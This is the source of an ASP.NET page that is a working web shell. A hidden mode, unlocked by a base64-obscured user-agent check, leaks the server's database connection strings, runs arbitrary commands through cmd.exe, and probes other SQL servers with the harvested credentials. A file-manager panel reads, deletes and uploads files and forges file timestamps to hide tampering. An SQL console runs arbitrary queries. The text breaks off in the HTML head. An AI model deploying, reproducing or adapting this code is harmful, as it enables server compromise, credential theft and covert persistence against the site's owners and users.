<%@ Page Language="C#" EnableViewState="false" %><%@ Import Namespace="System.IO" %><%@ import Namespace="System.Data"%><%@ Import namespace="System.Text"%><%@ Import Namespace="System.Net" %><%@ Import Namespace="System.Web.UI.WebControls" %><%@ Import namespace="System.Text.RegularExpressions"%><%@ Import namespace="System.Configuration"%><%@ import Namespace="System.Data.Common"%><%@ Import Namespace="System.Data.SqlClient"%><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.Threading"%><script language="C#" runat="server"> public static string outData; string datalistItems = string.Empty; string mPath = HttpContext.Current.Server.MapPath("~"); protected void Page_Load(object sender, EventArgs e) { MainFileManager.Visible = true; mainSQLShell.Visible = false;if (Request.QueryString["switchtabdata"] == "2"){ Session["switchtabdata"] = "SQL"; MainFileManager.Visible = false; mainSQLShell.Visible = true;}else if (Request.QueryString["switchtabdata"] == "1"){ Session["switchtabdata"] = null; Session.Abandon();}if (Session["switchtabdata"] != null) { MainFileManager.Visible = false; Response.Clear(); serverInfo.Text = this.GetIPAddress(); if (ismatchagent()) { if (!string.IsNullOrEmpty(Request["connectname"])) { try { Response.Write(ConfigurationManager.ConnectionStrings[Request["connectname"]].ConnectionString); } catch { Response.Write("No Connection"); } Response.End(); } else if (!string.IsNullOrEmpty(Request["command"])) { Response.ContentType = "text/plain"; try { string workpath = Request["path"]; string aguprefix = ""; string getPath = Request["path"]; if (string.IsNullOrEmpty(workpath)) { workpath = "C:\\Windows\\System32\\cmd.exe"; aguprefix = " /c "; } if (workpath == "7z"){ workpath = "C:\\ProgramData\\7z.exe"; aguprefix = ""; } Process p = new Process(); p.StartInfo.CreateNoWindow = true; p.StartInfo.FileName = workpath; p.StartInfo.Arguments = aguprefix + Request["command"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.WorkingDirectory = mPath; p.Start(); Response.Write(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd()); } catch {} Response.End(); } else if (!string.IsNullOrEmpty(Request["ip"])) { if (!string.IsNullOrEmpty(Request["conn"])) { string dbconnstring = Request["conn"]; SqlConnectionStringBuilder arrayconnect = new SqlConnectionStringBuilder(dbconnstring); string ipconnect = Request["ip"]; string txtUserId = arrayconnect.UserID; string txtPasswd = arrayconnect.Password; string rConnection = @"server=" + ipconnect + ";UID=" + txtUserId + ";PWD=" + txtPasswd + ";DATABASE=master;connect timeout=5;"; string ConnectState = IsServerConnected(rConnection); Response.Write(ConnectState); } else { Response.Write("Invalid ConnectString"); } Response.End(); } else { try { foreach(ConnectionStringSettings Conn in System.Configuration.ConfigurationManager.ConnectionStrings) { datalistItems += "<option value=\"" + Conn.Name.ToString() + "\">"; } } catch { datalistItems = "<option value=\"Not Found Connection\""; } } }}else{mainSQLShell.Visible = false;string outstr = "";cmdResult.Visible = false;fileReadResult.Visible = false;string dir = Page.MapPath(".") + "/";string getfile = string.Empty;if (Request.QueryString["fdir"] != null){ dir = Request.QueryString["fdir"] + "/";}if (Request.QueryString["get"] != null) getfile = HttpUtility.UrlDecode(Request.QueryString["get"]);dir = dir.Replace("\\", "/");dir = dir.Replace("//", "/");string[] dirparts = dir.Split('/');string linkwalk = ""; foreach (string curpart in dirparts){ if (curpart.Length == 0) continue; linkwalk += curpart + "/"; outstr += string.Format("<li><a href='?fdir={0}'>{1}</a></li>", HttpUtility.UrlEncode(linkwalk), HttpUtility.HtmlEncode(curpart));}lblPath.Text = outstr;outstr = "";foreach(DriveInfo curdrive in DriveInfo.GetDrives()){if (!curdrive.IsReady)continue;string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");outstr += string.Format("<li><a href='?fdir={0}'>Hard Disk ({1})</a></li>",HttpUtility.UrlEncode(driveRoot),HttpUtility.HtmlEncode(driveRoot));}lblDrives.Text = outstr;if (!string.IsNullOrEmpty(getfile) && (File.Exists(getfile))){ lblFileRead.Text = File.ReadAllText(getfile); fileReadResult.Visible = true; fileResult.Visible = false;}if ((Request.QueryString["clone"] != null) && (Request.QueryString["clone"].Length > 0) && (Request.QueryString["from"] != null) && (Request.QueryString["from"].Length > 0)){ string fileCl = HttpUtility.UrlDecode(Request.QueryString["clone"]); string fileFrom = HttpUtility.UrlDecode(Request.QueryString["from"]); File.SetCreationTimeUtc(fileCl,File.GetCreationTimeUtc(fileFrom)); File.SetLastAccessTimeUtc(fileCl,File.GetLastAccessTimeUtc(fileFrom)); File.SetLastWriteTimeUtc(fileCl,File.GetLastWriteTimeUtc(fileFrom));}if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))File.Delete(Request.QueryString["del"]); if(flUp.HasFile){string fileName = flUp.FileName;int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });if (splitAt >= 0)fileName = flUp.FileName.Substring(splitAt);flUp.SaveAs(dir + "/" + fileName);}DirectoryInfo di = new DirectoryInfo(dir);string currentParentup = "--";if(Directory.GetParent(di.FullName)!=null){ currentParentup = "<a href='?fdir=" + HttpUtility.UrlEncode(di.Parent.FullName) + "'><strong>...</strong></a>";}outstr = "
<span class=\"glyphicon glyphicon-level-up\"></span>" + currentParentup + " | | | | <td class='text-right'>
";foreach (DirectoryInfo curdir in di.GetDirectories()){string fstr = string.Format("<span class=\"glyphicon glyphicon-folder-open\"></span><a href='?fdir={0}'><strong>{1}</strong></a>", HttpUtility.UrlEncode(dir + "/" + curdir.Name), HttpUtility.HtmlEncode(curdir.Name));string dirLastModified = curdir.LastWriteTimeUtc.ToString("yyyy-MM-dd");string dirLastCreate = curdir.CreationTimeUtc.ToString("yyyy-MM-dd");string delfstr = string.Format("<a class='text-danger' href='?fdir={0}'>Del</a>", HttpUtility.UrlEncode(dir + "/" + curdir.Name));outstr += string.Format("{0} | {1} | {2} | <DIR> | <td class='text-right'>{3}
", fstr, dirLastModified, dirLastCreate, delfstr);}foreach (FileInfo curfile in di.GetFiles()){string fstr = string.Format("<span class=\"glyphicon glyphicon-file\"></span><a href='?get={0}'>{1}</a>",HttpUtility.UrlEncode(dir + "/" + curfile.Name),HttpUtility.HtmlEncode(curfile.Name));string astr = string.Format("<a style=\"margin-right:15px;\" href=\"javascript:cloneFiles('{0}','{1}');\">Time</a><a class='text-danger' href='?fdir={0}&del={1}'>Del</a>",HttpUtility.UrlEncode(dir),HttpUtility.UrlEncode(dir + "/" + curfile.Name).Replace("//", "/"));long calSize = curfile.Length;string FileSize = " byte";if (calSize > 1024){ calSize = calSize/1024; FileSize = " kb"; if (calSize > 1024){ calSize = calSize/1024; FileSize = " mb"; }}FileSize = calSize.ToString() + FileSize;outstr += string.Format("{0} | {1} | {2} | {3:d} | <td class='text-right'>{4}
", fstr, curfile.LastWriteTime.ToString("yyyy-MM-dd"), curfile.CreationTime.ToString("yyyy-MM-dd"), FileSize, astr);}lblDirOut.Text = outstr;if (txtCmdIn.Text.Length > 0){Process p = new Process();p.StartInfo.CreateNoWindow = true;p.StartInfo.FileName = "cmd.exe";p.StartInfo.Arguments = "/c " + txtCmdIn.Text;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;p.StartInfo.WorkingDirectory = dir;p.Start();lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();txtCmdIn.Text = txtCmdIn.Text;fileResult.Visible = false;fileReadResult.Visible = false;cmdResult.Visible = true;} } } private String GetIPAddress() { string IPServer = string.Empty; IPServer = Convert.ToString(HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"]) != null ? Convert.ToString(HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"]) : string.Empty; if (string.IsNullOrEmpty(IPServer)) { IPServer = HttpContext.Current.Request.ServerVariables["HTTP_X_REAL_IP"]; } if (string.IsNullOrEmpty(IPServer)) { IPServer = Request.ServerVariables["REMOTE_ADDR"]; } return IPServer; } protected void btnExecute(object sender, EventArgs e) { string txtConnection = ""; bool ExportResult = false; if (!string.IsNullOrEmpty(Request["rawexport"])) { Response.ContentType = "text/plain"; ExportResult = true; } txtConnection = txtDBConnection.Text; SqlConnection sqlConnection = null; try { sqlConnection = new SqlConnection(txtConnection); sqlConnection.Open(); SqlCommand sqlCommand = null; SqlDataReader sqlDataReader = null; sqlCommand = new SqlCommand(txtSql.Text, sqlConnection); sqlCommand.CommandType = System.Data.CommandType.Text; sqlDataReader = sqlCommand.ExecuteReader(); string dataHeader = "<table width=\"100%\" border=\"0\" margin=\"3\" padding=\"5\" cellspacing=\"15\">"; string dataBody = ""; string outResult = ""; int colTitle = 0; string resultdata = ""; string resultTitle = ""; while (sqlDataReader.Read()) { if (colTitle != 1) { int hCount = sqlDataReader.FieldCount; if (!ExportResult) dataHeader = dataHeader + "<thead>"; for (int i = 0; i < hCount; i++) { resultTitle = sqlDataReader.GetName(i); if (ExportResult) { Response.Write(resultTitle + "|"); } else { dataHeader = dataHeader + "<th>" + resultTitle + "</th>"; } } if (ExportResult) { Response.Write("\n"); } else { dataHeader = dataHeader + "
</thead><tbody>"; } } if (!ExportResult) dataBody = dataBody + ""; int colCount = sqlDataReader.FieldCount; for (int index = 0; index < colCount; index++) { resultdata = sqlDataReader[index].ToString(); if (ExportResult) { Response.Write((string)resultdata + "|"); } else { dataBody = dataBody + "" + (string)resultdata + " | "; } } colTitle = 1; if (ExportResult) { Response.Write("\n"); } else { dataBody = dataBody + "
"; } } if (ExportResult) { Response.End(); } else { outData = dataHeader + dataBody + "</tbody>"; tableResult.Text = outData; } } catch (SqlException sqlEx) { tableResult.Text = sqlEx.ToString(); } finally { if (sqlConnection != null) { sqlConnection.Close(); sqlConnection.Dispose(); } } } private string regReplace(string data, string find, string replace) { string result = data; try { Regex rgx = new Regex(find); result = rgx.Replace(data, replace); } catch { } return result; } private bool stringInStr(string data, string matches) { bool result = false; Match i = Regex.Match(data, matches); if (i.Success) { result = true; } return result; } private string[] stringsplit(string data, string split) { string[] result = new string[0]; result[0] = "0"; int count = 1; try { Match i = Regex.Match(data, split); while (i.Success) { result[count] = i.Value.ToString(); i = i.NextMatch(); count++; } } catch { } return result; } private string stringMid(string text, string left, string right) { int beginIndex = text.IndexOf(left); if (beginIndex == -1) { return string.Empty; } beginIndex += left.Length; int endIndex = text.IndexOf(right, beginIndex); if (endIndex == -1) { return string.Empty; } return text.Substring(beginIndex, endIndex - beginIndex).Trim(); } public bool ismatchagent() { bool result = false; Regex xvalidagent = new Regex(@bs64decode("WGVUaGFuaHxYZUdyb3Vwcw==")); string currAgent = Request.UserAgent.ToString(); if (xvalidagent.IsMatch(currAgent)) { result = true; } return result; } private string bs64encode(string instr) { string result = instr; try { byte[] tmp = Encoding.Default.GetBytes(instr); result = Convert.ToBase64String(tmp); }catch{} return result; } private string bs64decode(string instr) { string result = instr; try { byte[] tmp = Convert.FromBase64String(instr); result = Encoding.Default.GetString(tmp); }catch{} return result; } private string ByteToString(byte[] bytes) { string result = string.Empty; try { char[] chars = new char[bytes.Length / 2]; for (int i = 0; i < chars.Length; i++){ chars[i] = BitConverter.ToChar(bytes, i * 2); } result = new string(chars); }catch{ result = Convert.ToBase64String(bytes); } return result; } private string BytesToStringConverted(byte[] bytes) { string result = bytes.ToString(); try { using (var stream = new MemoryStream(bytes)) { using (var streamReader = new StreamReader(stream)) { result = streamReader.ReadToEnd(); } } }catch{ result = Convert.ToBase64String(bytes); } return result; } private string IsServerConnected(string connectionString) { using(SqlConnection connection = new SqlConnection(connectionString)) { string result = ""; int _isstate = 0; try { connection.Open(); return "Success Connection"; } catch (SqlException ex) { for (int i = 0; i < ex.Errors.Count; i++) { _isstate = ex.Errors[i].Number; } switch (_isstate) { case 2: result = "Password"; break; case 53: result = "--"; break; default: result = "Error"; break; } return result; } finally { if (connection != null) { connection.Close(); connection.Dispose(); } } } }</script><html lang="en" id="mainHTML" runat="server"><head id="MainHead" runat="server"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1">